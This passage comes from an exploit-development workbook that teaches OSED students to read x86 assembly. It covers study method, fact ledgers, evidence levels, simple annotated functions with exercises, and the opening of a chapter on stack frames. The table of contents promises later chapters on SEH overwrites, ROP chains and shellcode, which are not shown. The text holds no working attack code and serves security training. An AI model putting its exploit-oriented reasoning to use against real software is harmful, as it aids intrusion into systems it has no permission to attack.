

Learning to Read x86 Assembly Like a Reverse Engineer

A Semantic Recovery Workbook for OSED Students

OSED-Toolkit

2026-07-21

Contents

Preface and Study Method	7
0.1 Prerequisites	7
0.2 Tool setup	8
0.3 How to work each chapter	8
0.4 Evidence levels	9
0.5 What to ignore first	9
0.6 How a reverse engineer thinks differently than a compiler	10
0.7 Print workflow	10
0.8 Suggested pace	10
0.9 Key takeaways	11
0.10 See also	11
1 1. Reading Assembly as Semantic Evidence	12
1.1 Learning objectives	12
1.2 Concept discussion	12
1.3 Common compiler patterns	13
1.4 Fully annotated example	13
1.5 Reverse engineering thought process	14
1.6 Common mistakes	15
1.7 Exercises	15
1.8 Challenge problems	17
1.9 Solutions with reasoning	18
1.10 Key takeaways	21
1.11 See also	21
2 2. Frames, Arguments, Locals, CALL, and RET	23
2.1 Learning objectives	23
2.2 Concept discussion	23
2.3 Common compiler patterns	24
2.4 Fully annotated example	24
2.5 Reverse engineering thought process	25
2.6 Common mistakes	25
2.7 Exercises	26
2.8 Challenge problems	28
2.9 Solutions with reasoning	29
2.10 Key takeaways	30

2.11 See also	31
3 3. LEA, MOVZX, MOVZX, TEST, CMP, and SETcc	32
3.1 Learning objectives	32
3.2 Concept discussion	32
3.3 Common compiler patterns	32
3.4 Fully annotated example	33
3.5 Reverse engineering thought process	33
3.6 Common mistakes	33
3.7 Exercises	35
3.8 Challenge problems	36
3.9 Solutions with reasoning	37
3.10 Key takeaways	38
3.11 See also	38
4 4. Branches, Conditions, and Nested Decisions	39
4.1 Learning objectives	39
4.2 Concept discussion	39
4.3 Common compiler patterns	39
4.4 Fully annotated example	40
4.5 Reverse engineering thought process	40
4.6 Common mistakes	41
4.7 Exercises	41
4.8 Challenge problems	43
4.9 Solutions with reasoning	44
4.10 Key takeaways	45
4.11 See also	45
5 5. Loops and Repeated Work	47
5.1 Learning objectives	47
5.2 Concept discussion	47
5.3 Common compiler patterns	47
5.4 Fully annotated example	48
5.5 Reverse engineering thought process	48
5.6 Common mistakes	49
5.7 Exercises	49
5.8 Challenge problems	51
5.9 Solutions with reasoning	52
5.10 Key takeaways	53
5.11 See also	53
6 6. Switches, Jump Tables, Tail Calls, and Thunks	55
6.1 Learning objectives	55
6.2 Concept discussion	55
6.3 Common compiler patterns	55
6.4 Fully annotated example	56
6.5 Reverse engineering thought process	56
6.6 Common mistakes	57

6.7	Exercises	57
6.8	Challenge problems	59
6.9	Solutions with reasoning	59
6.10	Key takeaways	60
6.11	See also	61
7	7. Data Flow: Pointers, Aliases, Stack, Heap, and Globals	62
7.1	Learning objectives	62
7.2	Concept discussion	62
7.3	Common compiler patterns	62
7.4	Fully annotated example	63
7.5	Reverse engineering thought process	64
7.6	Common mistakes	64
7.7	Exercises	65
7.8	Challenge problems	66
7.9	Solutions with reasoning	67
7.10	Key takeaways	68
7.11	See also	69
8	8. Structures, Arrays, Strings, and Buffer Semantics	70
8.1	Learning objectives	70
8.2	Concept discussion	70
8.3	Common compiler patterns	71
8.4	Fully annotated example	72
8.5	Reverse engineering thought process	73
8.6	Structure recovery	73
8.7	UNICODE_STRING recognition	75
8.8	Common mistakes	76
8.9	Exercises	76
8.10	Challenge problems	78
8.11	Solutions with reasoning	79
8.12	Key takeaways	80
8.13	See also	81
9	9. MSVC Idioms and Runtime Artifacts	82
9.1	Learning objectives	82
9.2	Concept discussion	82
9.3	Common compiler patterns	82
9.4	Fully annotated example	83
9.5	/GS stack cookie details	84
9.6	Reverse engineering thought process	85
9.7	SEH exploitation mechanics	85
9.8	SafeSEH and SEHOP	88
9.9	Cookie bypass via SEH: worked example	89
9.10	Common mistakes	90
9.11	Exercises	90
9.12	Challenge problems	91
9.13	Solutions with reasoning	92

9.14 Key takeaways	94
9.15 See also	95
10 10. Methodology: From Unknown Function to Working Model	96
10.1 Learning objectives	96
10.2 Concept discussion	96
10.3 IDA workflow	97
10.4 WinDbg workflow	98
10.5 Common compiler patterns	99
10.6 Fully annotated example	99
10.7 Reverse engineering thought process	100
10.8 Common mistakes	101
10.9 Exercises	102
10.10 Challenge problems	103
10.11 Solutions with reasoning	103
10.12 Key takeaways	105
10.13 See also	105
11 11. Exploit-Oriented Reading	107
11.1 Learning objectives	107
11.2 Concept discussion	107
11.3 Common compiler patterns	108
11.4 Fully annotated example: stack overflow	108
11.5 Worked example: format string	109
11.6 Worked example: SEH overwrite	110
11.7 Worked example: integer overflow	112
11.8 Worked example: information leak	113
11.9 ASLR bypass techniques	114
11.10 Bad character identification	115
11.11 Reverse engineering thought process	116
11.12 Common mistakes	116
11.13 Exercises	117
11.14 Challenge problems	119
11.15 Solutions with reasoning	120
11.16 Key takeaways	121
11.17 See also	122
12 12. Case Studies from Vulnerable Windows Service Patterns	123
12.1 Learning objectives	123
12.2 Concept discussion	123
12.3 Common compiler patterns	123
12.4 Fully annotated example	124
12.5 Reverse engineering thought process	125
12.6 Case study 2: SEH-based exploitation	125
12.7 Case study 3: format string in logging	127
12.8 Common mistakes	128
12.9 Exercises	128
12.10 Challenge problems	129

12.11	Solutions with reasoning	130
12.12	Final capstone	130
12.13	Appendix A: Exercise answering template	132
12.14	Appendix B: Fast semantic checklist	132
12.15	Appendix C: WinDbg verification prompts	133
12.16	Key takeaways	133
12.17	See also	134
13	13. Printable Worksheets and Checklists	135
13.1	Filled-in example: unknown function worksheet	147
13.2	Exploit development workflow worksheet	148
13.3	Practice binary sources	150
13.4	Key takeaways	150
13.5	See also	150
14	14. Shellcode Idioms and Position-Independent Patterns	151
14.1	Learning objectives	151
14.2	Concept discussion	151
14.3	Common shellcode patterns	152
14.4	Fully annotated example	152
14.5	PE export table resolution	154
14.6	Egghunter patterns	156
14.7	Staged vs stageless shellcode	157
14.8	Reverse engineering thought process	158
14.9	Common mistakes	158
14.10	Exercises	159
14.11	Challenge problems	160
14.12	Solutions with reasoning	161
14.13	Key takeaways	163
14.14	See also	163
15	15. ROP Gadgets and Code-Reuse Patterns	165
15.1	Learning objectives	165
15.2	Concept discussion	165
15.3	Common gadget patterns	166
15.4	Fully annotated example	166
15.5	Complete VirtualProtect DEP bypass chain	168
15.6	PUSHAD-based VirtualProtect call	170
15.7	ret N and chain gaps	171
15.8	Stack pivots in depth	172
15.9	Mid-instruction gadgets	173
15.10	Bad characters in gadget addresses	174
15.11	Gadget-finding tools	175
15.12	Common mistakes	175
15.13	Exercises	176
15.14	Challenge problems	177
15.15	Solutions with reasoning	178
15.16	Key takeaways	181

15.17See also	182
16 16. Recovering File and Protocol Formats	183
16.1 Learning objectives	183
16.2 Concept discussion	183
16.3 Common compiler patterns	184
16.4 Endianness: magic bytes tell the truth	184
16.5 Fully annotated example	185
16.6 Recovering a header step by step	187
16.7 Recognizing field roles	187
16.8 WinDbg verification	189
16.9 Practice drill	190
16.10Review checklist	190

Preface and Study Method

This workbook is for the stage where assembly syntax is no longer the main problem. You can read registers, stack references, addressing modes, calls, and conditional jumps. The hard part is deciding what those facts mean.

An OSED-level reverse engineer is not trying to produce pretty C. The job is to recover enough of the programmer's model to answer security questions:

- What did the programmer think this value represented?
- What did the compiler preserve, erase, or transform?
- Where does attacker-controlled data enter?
- Which checks make a value trusted?
- Which checks only protect a different object?
- What memory is read or written because of that value?
- What control-flow edge becomes reachable?

The difference matters. A decompiler may tell you a function calls `memcpy`. That is not the answer. The answer is whether the destination, source, and count form a valid relationship under all reachable inputs.

0.1 Prerequisites

This workbook assumes you already have working knowledge of:

- **x86 register names and roles:** EAX through EDI, ESP, EBP, EIP, EFLAGS. You should know which registers are caller-saved vs. callee-saved in common calling conventions.
- **Addressing modes:** immediate (`mov eax, 42h`), register (`mov eax, ecx`), memory direct (`mov eax, [401000h]`), base+displacement (`mov eax, [ebp+8]`), base+index*scale+displacement (`mov eax, [ecx+edx*4+10h]`).
- **Basic WinDbg commands:** `bp` (set breakpoint), `g` (go/continue), `dd` (display dwords), `da` (display ASCII), `uf` (unassemble function), `p` (step over), `t` (step into), `r` (display registers).
- **IDA navigation:** ability to open a PE binary in IDA Free or IDA Pro, locate functions in the Functions window, follow cross-references with `x`, and read the disassembly listing.

If the register model or instruction syntax is still unfamiliar, work through the `x86-os-ed-assembly-reference/` companion directory in this repository before continuing. Chapters 01 through 06 of that reference cover the CPU execution model, registers, memory operands, endianness, EFLAGS, and core instructions.

0.2 Tool setup

You need the following environment to work through this book and practice on real binaries:

- **Windows 10 x86 VM:** a 32-bit Windows 10 installation or a 64-bit installation with WoW64. Snapshot it clean before installing target binaries.
- **WinDbg:** the classic WinDbg from the Windows SDK, or WinDbg Preview from the Microsoft Store. Either works. Configure your symbol path: `.sympath srv*C:\Symbols*https://msdl.microsoft.com/download/symbols`.
- **IDA Free 8.x or IDA Pro:** for static disassembly and cross-reference navigation. IDA Free handles 32-bit PE files. If you have IDA Pro, enable the Hex-Rays decompiler but treat its output as a hypothesis, not ground truth.
- **Python 3 with struct and socket:** for writing exploit scripts, packing addresses, and building network payloads. The `struct` module handles little-endian packing (`struct.pack('<I', addr)`). The `socket` module handles network delivery.

0.3 How to work each chapter

Read each chapter in four passes.

First pass: skim the concept discussion and pattern list. Do not memorize the patterns as signatures. Use them as expectations to test against evidence.

Second pass: read the annotated example with a notebook open. For every compare, write the question being asked. For every memory operand, write whether it is a read, write, address calculation, stack slot, structure field, array element, or indirect control-flow source.

Third pass: do the exercise without looking at the solution. Do not write pseudocode first. Fill out a fact ledger:

```
Inputs:
Outputs:
Important reads:
Important writes:
Branch questions:
Validated ranges:
Compiler artifacts:
Programmer assumptions:
Exploit relevance:
Unresolved facts:
```

Fourth pass: compare your answer to the solution. If your pseudocode differs but your facts match, that is usually acceptable. If your facts differ, fix the reasoning before moving on.

Exam note: The OSED exam is a 48-hour proctored hands-on exam with no internet access. You will not have time to look up instruction semantics, and you will not have access to online references. The fact-ledger habit directly supports exam-speed analysis – if you can fill out a fact ledger quickly and accurately from raw disassembly, you will spend less time on the reverse engineering portions and more time on exploit development. Build this habit now. Every chapter you work through with the ledger method is practice for the exam.

0.4 Evidence levels

Not every conclusion has the same strength.

Strong evidence:

- A memory write destination and count.
- A call target and pushed arguments.
- A conditional jump tied to a specific `cmp` or `test`.
- A dereference proving a value is used as a pointer.
- An immediate size used as a copy bound or allocation size.
- A field offset used consistently across functions.

Medium evidence:

- A return convention such as `0` for success and `-1` for failure.
- A repeated offset suggesting a structure field.
- A string constant used near dispatch code.
- An import name such as `recv`, `send`, `malloc`, `free`, or `VirtualProtect`.

Weak evidence:

- A decompiler variable name.
- A guessed source-level type.
- A familiar-looking pattern without destination/count proof.
- A function name from an old symbol file or analyst comment.

The workbook solutions deliberately separate facts from hypotheses. Keep that habit. It prevents the most common reverse engineering failure: explaining code you have not actually proven.

0.5 What to ignore first

Experienced reversers ignore aggressively, but they do it after classification.

Usually ignore on the first pass:

- standard frame setup and teardown
- callee-saved register preservation
- stack-cookie setup (`mov eax, __security_cookie; xor eax, ebp; mov [ebp-4], eax` and the matching check before `retn`) until exploit impact is being considered (chapter 9 covers cookie patterns in detail)
- logging calls unless attacker data becomes a format string
- response formatting unless it leaks useful information
- import thunks once the API boundary is identified

Do not ignore:

- argument setup before calls
- copies into stack or heap buffers
- compare signedness
- length/capacity relationships
- indirect calls or jumps

- stores through attacker-influenced pointers
- exception registration in stack-corruption contexts

0.6 How a reverse engineer thinks differently than a compiler

The compiler already solved a different problem: preserve program behavior while obeying the ABI and optimization rules. It does not preserve source intent for your convenience. It may remove variables, merge branches, reuse stack slots, inline routines, tail-call handlers, or replace multiplication with `lea`.

The reverse engineer solves a semantic problem: identify the model that makes the machine behavior coherent.

The exploit developer solves a narrower adversarial problem: identify where attacker-controlled values violate the programmer's assumed invariants and turn that violation into control, disclosure, or corruption.

Those mindsets overlap, but they are not identical. A reverse engineer may stop after proving a parser accepts a record. An exploit developer keeps going until they know whether a field controls a write size, write address, function pointer, saved return address, SEH record, heap metadata, or ROP-relevant state.

0.7 Print workflow

For each exercise page, cover the solution section. Write your answer in this order:

1. One-sentence purpose hypothesis.
2. Facts that support it.
3. Facts that weaken it.
4. Values that are attacker-controlled or unknown.
5. Pseudocode only after the above is complete.

If you cannot explain why the compiler emitted an instruction, mark it as unresolved. Do not invent a source statement just to make the disassembly feel complete.

0.8 Suggested pace

Work through two chapters per week. Each chapter takes roughly 2-4 hours of focused effort: one hour to read and annotate, one hour for the exercises and challenge problems, and one to two hours of live WinDbg practice on real binaries.

Interleave each chapter with hands-on sessions using the drill templates in the `DRILLS/` directory. A productive weekly rhythm looks like:

- **Day 1:** Read and annotate the next chapter. Fill out fact ledgers for the annotated examples.
- **Day 2:** Work the exercises and challenge problems without looking at solutions.
- **Day 3:** Compare solutions, then pick a drill from `DRILLS/` and apply the chapter's concepts to a real binary.

- **Day 4:** Read and annotate the second chapter of the week.
- **Day 5:** Exercises and challenge problems for the second chapter.
- **Weekend:** Pick a fresh binary, apply the `DRILLS/function_analysis.md` or `DRILLS/reverse_engineering.md` template, and practice the fact-ledger workflow end-to-end.

At this pace, the 16-chapter workbook takes 8 weeks – roughly aligned with an OSED preparation cycle. Adjust based on your comfort with the material, but do not skip the drill sessions. Reading assembly and analyzing assembly are different skills; only practice under time pressure builds the second one.

0.9 Key takeaways

- The goal is not to produce pretty C. The goal is to recover the programmer's model well enough to answer security questions about memory, control flow, and trust boundaries.
- Separate facts from hypotheses. A memory write destination is a fact. A guessed variable name is a hypothesis. Never confuse the two.
- The fact-ledger method is the primary analysis technique for the OSED exam, where you have no internet, no symbols, and limited time.
- Ignore compiler scaffolding (frame setup, register saves, cookie checks) on the first pass. Focus on argument setup, copies, comparisons, and indirect control flow.
- Build speed through repetition on real binaries, not by memorizing patterns in isolation.

0.10 See also

- `x86-osed-assembly-reference/01-cpu-execution-model.md` through `06-core-instruction-reference.md` – prerequisite instruction-level reference material
- `x86-osed-assembly-reference/23-ida-pro-reading-guide.md` – IDA navigation and annotation conventions
- `x86-osed-assembly-reference/24-windbg-reading-guide.md` – WinDbg command reference for dynamic analysis
- `x86-osed-assembly-reference/26-common-analyst-mistakes.md` – pitfalls that the fact-ledger method is designed to prevent
- `osed-reversing-guide/00-setup-and-orientation.md` – companion setup guide for the reversing methodology
- `DRILLS/function_analysis.md` – drill template for single-function analysis
- `DRILLS/reverse_engineering.md` – drill template for multi-function reversing
- `DRILLS/windbg_investigation.md` – drill template for WinDbg-driven analysis

Chapter 1

1. Reading Assembly as Semantic Evidence

1.1 Learning objectives

By the end of this chapter you should be able to:

- Separate compiler scaffolding from programmer intent.
- Read an instruction sequence as information flow instead of syntax.
- Maintain a fact ledger without prematurely inventing C source.
- Explain what question the CPU is answering at each decision point.

1.2 Concept discussion

Reverse engineering is not decompilation by hand. A compiler has already erased source-level names, comments, some types, and many boundaries between statements. What remains is executable evidence. Your job is to recover the simplest model that explains that evidence.

The CPU does not know about “valid packets”, “users”, or “commands”. It answers smaller questions:

- Is this value zero?
- Is this unsigned length larger than a limit?
- What address is $\text{base} + \text{index} * \text{scale} + \text{offset}$?
- Which function address should be called?
- How many bytes should be copied?

The programmer wrote logic in terms of domain concepts. The compiler lowered that logic into register movement, memory access, condition flags, and control flow. The reverse engineer climbs back up from CPU questions to programmer assumptions.

Exam note: OSED exam binaries will not have symbols. There will be no function names, no variable names, no type information – only raw disassembly. The fact-ledger approach described in the preface is your primary analysis method. Every instruction is a piece of evidence; your job is to organize that evidence into a coherent model without relying on labels that do not exist.

1.3 Common compiler patterns

- Save/restore registers: compiler obligation, usually not domain logic.
- `xor eax, eax`: often materializes zero, frequently a success return or boolean false.
- `cmp reg, imm` followed by conditional jump: a branch question.
- `test reg, reg`: zero/null/empty check.
- `lea reg, [mem]`: address or arithmetic, not a memory read.
- `push arg; call target; add esp, n`: argument setup and caller cleanup.

1.4 Fully annotated example

Assembly first:

```
sub_401000:
    push    ebp
    mov     ebp, esp
    mov     eax, [ebp+8]
    test    eax, eax
    jz      short fail
    cmp     dword ptr [eax], 4D434D44h
    jnz     short fail
    xor     eax, eax
    pop     ebp
    retn
fail:
    mov     eax, 0FFFFFFFFh
    pop     ebp
    retn
```

Annotated reading:

```
push ebp / mov ebp, esp
; Standard frame. This tells us where arguments live, not what the program
; means.

mov eax, [ebp+8]
; Load the first stack argument.

test eax, eax
; Ask: is the argument zero? Since the next use dereferences EAX, this is a
; null
; pointer check.

jz fail
; If the pointer is null, return failure.

cmp dword ptr [eax], 4D434D44h
; Read four bytes from the pointed-to object and compare them to a constant.
```

```
; The argument is a pointer to a structure or buffer whose first dword is a  
↪ tag.  
  
jnz fail  
; If the tag does not match, return failure.  
  
xor eax, eax  
; Return 0. In Windows C code, 0 commonly means success for internal  
↪ helpers.
```

The CPU is answering: “Did I receive a non-null pointer whose first four bytes match the expected tag?”

The programmer likely wrote a validation helper. The compiler assumes `[ebp+8]` is the only argument used here and that reading `[eax]` is safe after the null check. The programmer assumes the caller passed a pointer to at least four readable bytes.

1.5 Reverse engineering thought process

Start with facts:

- One argument is read from `[ebp+8]`.
- That value is checked for zero.
- If nonzero, four bytes at that address are read.
- Two paths return: 0 and -1.

Then hypotheses:

- Argument is a pointer.
- The first dword is a magic, signature, opcode, or type tag.
- The function is a validator.

Do not name it `check_header` yet unless cross-references prove the domain.

1.5.1 Reading in IDA vs raw disassembly

IDA applies heuristics to make disassembly more readable: it guesses variable names (`var_4`, `arg_0`), infers types, creates cross-reference labels, and sometimes renames functions based on string proximity or import usage. These annotations are hypotheses, not facts.

When you see IDA label a stack variable as `nSize` or rename a function to `process_request`, that is an analyst’s guess (or a prior analyst’s comment) propagated through the database. It may be wrong. It often is.

Strong evidence comes from the instructions themselves:

- Addresses and offsets: `[ebp+8]` is the first argument. That is a machine fact. IDA calling it `arg_0` adds no information.
- Instruction bytes: `cmp dword ptr [eax], 4D434D44h` proves a 4-byte comparison against a specific constant. The constant is a fact.

- Operand sizes: `word ptr`, `byte ptr`, `dword ptr` tell you the width of the access. These come from the encoding, not from IDA.
- Control flow: the branch targets are encoded in the instruction stream.

Weak evidence comes from IDA's analysis layer:

- Variable names like `buf`, `len`, `result` – these are guesses that may reflect a previous analyst's assumptions, not the actual program logic.
- Type annotations like `int`, `char *` – IDA infers these from usage patterns but frequently gets them wrong, especially for signedness.
- Function names derived from string proximity – a function near the string “login” is not necessarily a login function.

Use IDA's annotations as starting hypotheses, but always verify them against the instruction-level evidence. When the annotation contradicts the instruction, trust the instruction.

1.6 Common mistakes

- Treating `test eax, eax` as arithmetic. It is usually a question about zero.
- Calling the constant a string without checking endianness and context.
- Ignoring the failure return convention.
- Assuming the pointer is attacker-controlled before walking callers.

1.7 Exercises

1.7.1 Exercise 1

Assembly only:

```
sub_401050:
    mov     eax, [esp+4]
    test    eax, eax
    jz      short bad
    cmp     byte ptr [eax+2], 1
    jnz     short bad
    mov     eax, 1
    retn
bad:
    xor     eax, eax
    retn
```

Answer before reading the solution:

- What does this code accomplish?
- Why does it exist?
- What data is important?
- What can be ignored?

1.7.2 Exercise 2

```
sub_4010A0:
    push    ebp
    mov     ebp, esp
    mov     ecx, [ebp+8]
    test    ecx, ecx
    jz      short ret_zero
    movzx   eax, byte ptr [ecx]
    movzx   edx, byte ptr [ecx+1]
    shl     eax, 8
    or      eax, edx
    add     eax, [ebp+0Ch]
    pop     ebp
    retn

ret_zero:
    xor     eax, eax
    pop     ebp
    retn
```

Answer before reading the solution:

- How many arguments does this function take?
- What arithmetic is performed on the data?
- What is the final return value in terms of the inputs?
- What does the `shl/or` sequence accomplish?

1.7.3 Exercise 3

```
sub_4010D0:
    push    ebp
    mov     ebp, esp
    push    esi
    mov     esi, [ebp+8]
    call    dword ptr [__imp__GetLastError@0]
    test    eax, eax
    jz      short success
    cmp     eax, [esi+4]
    ja      short fail
    mov     dword ptr [esi], 1
    xor     eax, eax
    pop     esi
    pop     ebp
    retn

fail:
    mov     dword ptr [esi], 0
    mov     eax, 0FFFFFFFFh
    pop     esi
```

```
    pop     ebp
    retn
success:
    mov     dword ptr [esi], 1
    xor     eax, eax
    pop     esi
    pop     ebp
    retn
```

Answer before reading the solution:

- What Win32 API is called and what does its return value represent?
- What are the two conditions under which the function writes 1 to [esi]?
- What structure field at [esi+4] is used as a threshold?
- What is the calling convention of this function?

1.8 Challenge problems

1.8.1 Challenge 1

```
sub_401080:
    push    ebp
    mov     ebp, esp
    mov     ecx, [ebp+8]
    xor     eax, eax
    test    ecx, ecx
    jz      short done
    cmp     word ptr [ecx], 5A4Dh
    setz    al
done:
    pop     ebp
    retn
```

Explain why this is not merely a “compare function”. Identify the programmer’s likely assumption about the pointed-to data.

OSED connection: This pattern – checking the first two bytes of a memory region for the MZ signature – appears frequently in PE loaders, reflective DLL injection, and process hollowing. In reflective injection, shellcode walks the PEB to locate loaded modules, then validates the DOS header signature before parsing PE headers to resolve exports. In process hollowing, the injector maps a new image into a suspended process and must verify the PE structure before fixing up the entry point. Recognizing this two-byte check as a DOS header validation is a shortcut that immediately narrows the function’s role to PE manipulation.

1.8.2 Challenge 2

```

sub_4010F0:
    push    ebp
    mov     ebp, esp
    push    esi
    push    edi
    mov     esi, [ebp+8]
    mov     edi, [ebp+0Ch]
    test    esi, esi
    jz      short ret_neg
    test    edi, edi
    jz      short ret_neg
    movzx   eax, byte ptr [esi+3]
    movzx   ecx, byte ptr [edi+3]
    sub     eax, ecx
    imul    eax, [ebp+10h]
    pop     edi
    pop     esi
    pop     ebp
    retn

ret_neg:
    mov     eax, 0FFFFFFFFh
    pop     edi
    pop     esi
    pop     ebp
    retn

```

Answer before reading the solution:

- How many arguments does this function take?
- What does the function compute and return?
- Why are both pointers null-checked independently?
- What domain might this represent?

1.9 Solutions with reasoning

1.9.1 Exercise 1 solution

The function reads one argument from `[esp+4]`, checks it for null, reads one byte at offset +2, and returns 1 only if that byte equals 1. It likely tests a field inside a small structure or record.

Plausible pseudocode, introduced only after the reasoning:

```

int is_enabled(const unsigned char *p) {
    if (!p) return 0;
    return p[2] == 1;
}

```

The important data is the pointer and byte offset +2. The absence of an EBP frame is not important by itself; this is still a normal function.

1.9.2 Exercise 2 solution

The function takes two arguments: a pointer in `[ebp+8]` and an integer in `[ebp+0Ch]`. After a null check on the pointer, it reads two unsigned bytes at offsets +0 and +1, shifts the first byte left by 8, and ORs in the second. This reconstructs a 16-bit big-endian value from two consecutive bytes. The function then adds the second argument to this value and returns the result.

Fact ledger:

- Two arguments: pointer and integer.
- Byte at `[ecx]` is loaded unsigned, shifted left 8 bits.
- Byte at `[ecx+1]` is loaded unsigned, ORed into the low byte.
- The `shl 8 / or` sequence is big-endian 16-bit reconstruction.
- The second argument is added to the reconstructed value.
- Null pointer returns 0.

Plausible pseudocode:

```
int offset_from_header(const unsigned char *p, int base) {
    if (!p) return 0;
    unsigned short val = (p[0] << 8) | p[1];
    return val + base;
}
```

The big-endian reconstruction is the key semantic clue. This pattern appears in network protocol parsing (network byte order is big-endian) and in file format parsing for formats that use big-endian fields (Java class files, PNG chunks, TLS records).

1.9.3 Exercise 3 solution

The function takes one argument – a pointer to a structure. It calls `GetLastError`, which takes no arguments (the `@0` suffix confirms zero bytes of parameters) and returns the last Win32 error code for the calling thread.

Three paths:

1. `GetLastError` returns 0 (no error): write 1 to `[esi]`, return 0.
2. `GetLastError` returns nonzero but $\leq$ the threshold at `[esi+4]`: write 1 to `[esi]`, return 0.
3. `GetLastError` returns a value $>$ the threshold at `[esi+4]`: write 0 to `[esi]`, return -1.

The `ja` (jump if above) is an unsigned comparison. The dword at `[esi+4]` acts as a maximum tolerable error code. The dword at `[esi]` is a status flag set by this function.

Plausible pseudocode:

```
int check_error_threshold(STATUS_BLOCK *s) {
    DWORD err = GetLastError();
    if (err == 0 || err <= s->max_error) {
```

```

        s->ok = 1;
        return 0;
    }
    s->ok = 0;
    return -1;
}

```

The calling convention is `cdecl` – the function uses `ret` without an immediate operand, so the caller is responsible for cleaning the argument.

1.9.4 Challenge 1 solution

The code asks whether a non-null pointer begins with the word value `0x5A4D`, which represents ASCII bytes `M` (`0x4D`) and `Z` (`0x5A`) as loaded on a little-endian machine. `setz al` materializes the comparison result as a boolean. The programmer assumes the pointer references at least two readable bytes. An exploit developer asks whether that pointer can point near an invalid page, because no structured exception handling appears in the function.

1.9.5 Challenge 2 solution

The function takes three arguments: two pointers (`[ebp+8]` and `[ebp+0Ch]`) and an integer (`[ebp+10h]`). Both pointers are null-checked. From each pointer, a single unsigned byte at offset `+3` is read. The function computes: $(ptr1[3] - ptr2[3]) * arg3$ and returns the result.

Fact ledger:

- Three arguments: pointer, pointer, integer.
- Both pointers are validated independently – either being null causes `-1` return.
- Only byte offset `+3` is read from each pointer. This is a specific field in a structure or a specific position in a buffer.
- `sub eax, ecx` computes the difference of two unsigned bytes. The result is a signed 32-bit value (because `movzx` promoted each byte to 32 bits before subtraction).
- `imul eax, [ebp+10h]` multiplies the difference by the third argument. `imul` with two operands is a signed multiply.
- The function returns a signed scaled difference.

Plausible pseudocode:

```

int scaled_delta(const unsigned char *a, const unsigned char *b, int scale)
↪ {
    if (!a || !b) return -1;
    return (a[3] - b[3]) * scale;
}

```

This could represent a weighted comparison of a specific field, such as a priority byte, a version number, or a pixel channel value. The independent null checks suggest the two pointers may come from different sources, not two elements of the same array.

1.9.6 Verify in WinDbg

To verify the concepts from this chapter on a live binary:

```
uf sub_401000
```

Unassemble the function to see the raw instruction stream. Compare what WinDbg shows with what IDA shows – they should agree on instructions but may differ on annotations.

```
bp sub_401000; g
```

Set a breakpoint at the function entry and run. When the breakpoint hits:

```
dd poi(ebp+8) L4
```

Display 4 dwords starting at the address pointed to by the first argument. This lets you see the actual tag value being compared against 4D434D44h and verify whether the comparison succeeds or fails.

1.10 Key takeaways

- Assembly instructions are evidence about the programmer’s intent, not a transcript of source code. Read them as facts to be organized, not lines to be translated.
- The fact ledger (inputs, outputs, reads, writes, branch questions) prevents premature commitment to a source-level narrative. Fill it out before writing pseudocode.
- IDA annotations (variable names, type guesses, function names) are hypotheses, not facts. When they contradict the instructions, trust the instructions.
- Constants, offsets, and operand sizes are strong evidence. Return conventions and import names are medium evidence. Decompiler output and guessed names are weak evidence.
- Always ask: “What question is the CPU answering at this decision point?” That question is closer to the programmer’s intent than any line-by-line translation.

1.11 See also

- [x86-osed-assembly-reference/05-eflags-and-conditional-execution.md](#) – detailed coverage of flags, TEST, CMP, and conditional jumps
- [x86-osed-assembly-reference/06-core-instruction-reference.md](#) – instruction semantics for MOV, XOR, TEST, CMP, and other basics
- [x86-osed-assembly-reference/18-pe-structures-and-export-resolution.md](#) – PE header structures relevant to the MZ challenge problem
- [x86-osed-assembly-reference/23-ida-pro-reading-guide.md](#) – how to read IDA’s output critically
- [osed-reversing-guide/01-register-model.md](#) – register roles and conventions
- [osed-reversing-guide/07-data-flow.md](#) – tracing data flow through registers and memory
- [DRILLS/function_analysis.md](#) – drill template for practicing single-function analysis with a fact ledger

Chapter 2

2. Frames, Arguments, Locals, CALL, and RET

2.1 Learning objectives

- Recover stack-frame shape and argument count from x86 code.
- Distinguish locals, saved registers, outgoing arguments, and return values.
- Infer likely calling convention from cleanup behavior.
- Recognize when frame code is compiler scaffolding.

2.2 Concept discussion

A function frame is the compiler's workspace. It exists because the programmer needed locals, calls, preserved registers, or stable stack references. It does not necessarily mean the programmer consciously used the stack.

The frame answers:

- Where can the compiler keep local state?
- Which registers must survive this function?
- Who removes arguments from the stack after a call?
- Where does the return value appear?

In 32-bit MSVC, a debug or non-optimized function often uses EBP as a stable frame pointer:

```
push ebp
mov  ebp, esp
sub  esp, local_size
...
mov  esp, ebp
pop  ebp
retn
```

Arguments appear above EBP: [ebp+8], [ebp+0Ch], [ebp+10h]. Locals appear below EBP: [ebp-4], [ebp-20h].

2.3 Common compiler patterns

- `push esi / pop esi`: callee-saved register preservation.
- `sub esp, 80h`: local stack allocation.
- `lea eax, [ebp-40h]`: address of a local buffer.
- `push [ebp+0Ch]; push [ebp+8]; call target; add esp, 8`: cdecl-style caller cleanup.
- `retn 8`: callee cleanup, common in stdcall.
- `mov eax, imm` before epilogue: return value.

2.4 Fully annotated example

```
sub_401100:
    push    ebp
    mov     ebp, esp
    sub     esp, 44h
    push    esi
    mov     esi, [ebp+8]
    lea     eax, [ebp-40h]
    push    40h
    push    esi
    push    eax
    call    _memcpy
    add     esp, 0Ch
    xor     eax, eax
    pop     esi
    mov     esp, ebp
    pop     ebp
    retn
```

Annotated:

```
sub esp, 44h
; Reserve 0x44 bytes of local storage. The interesting object later starts
; ↪ at
; ebp-0x40, so four bytes may be padding, a temp, or alignment.

push esi
; Preserve ESI because this function uses it and must restore it.

mov esi, [ebp+8]
; First argument copied into ESI. Later passed as source, so it is probably
; ↪ a
; source pointer.

lea eax, [ebp-40h]
; Compute address of local buffer. LEA does not read from the buffer.
```

```

push 40h / push esi / push eax / call _memcpy
; Arguments are pushed right-to-left: memcpy(dst=&local, src=arg0,
  ↳ len=0x40).

add esp, 0Ch
; Caller cleaned three 4-byte arguments.

```

The CPU is answering: “Copy exactly 64 bytes from the caller-supplied pointer into a local stack buffer, then report success.”

2.5 Reverse engineering thought process

First draw the frame:

```

[ebp+8]   arg0: source pointer
[ebp+4]   return address
[ebp]     saved EBP
[ebp-1]   local buffer top (last byte of 0x40-byte memcpy destination)
[ebp-40h] local buffer begins (first byte of memcpy destination)
[ebp-44h] padding/temp/alignment (4 extra bytes from sub esp, 44h)

```

Then separate scaffolding from semantics:

- Frame setup/teardown: scaffolding.
- push esi/pop esi: scaffolding.
- lea [ebp-40h], push 40h, _memcpy: semantics.

2.6 Common mistakes

- Treating every stack slot as a distinct programmer variable.
- Assuming sub esp, 44h means a 68-byte buffer. The used buffer may be smaller.
- Forgetting that pushes before a call are usually outgoing arguments.
